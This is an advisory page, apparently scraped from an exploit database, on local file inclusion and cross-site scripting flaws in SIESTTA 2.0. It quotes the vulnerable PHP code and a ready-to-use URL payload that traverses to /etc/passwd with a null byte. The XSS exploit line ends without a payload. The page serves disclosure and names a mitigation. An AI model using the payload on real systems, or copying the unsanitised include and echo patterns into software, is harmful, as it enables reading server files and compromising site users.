SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities

vendor:

SIESTTA

by:

Jose Luis Gongora Fernandez

7,5

CVSS

HIGH

LFI/XSS

CWE

Product Name: SIESTTA

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities

The vulnerability exists in the login.php page, where the parameter 'idioma' is not properly sanitized before being used in a require() function. This can be exploited to include arbitrary files from local resources. The XSS vulnerability exists in the carga_foto_al.php page, where the parameter 'usuario' is not properly sanitized before being used in an echo() function. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically include files.

Source

Exploit-DB raw data:

####################################################################
# SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities
# download: http://ramoncastro.es/siestta_old/
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" register_globals = On
#
####################################################################


- [#LFI] <login.php>

<?php

require('idioma/'.$idioma.'');
...
?>

!EXPLOIT: /login.php?idioma=/../../../../../../../../../../../etc/passwd%00

- [#XSS] <carga_foto_al.php>

<?
...
$usuario = $_GET['usuario'];
$imagen = 'admin/fotos_al/'.$usuario.'.jpg';
echo '<p style="text-align:center;">
<img class="foto" src="'.$imagen.'" alt="'.$usuario.'" /></p>
...
?>

!EXPLOIT: /carga_foto_al.php?usuario=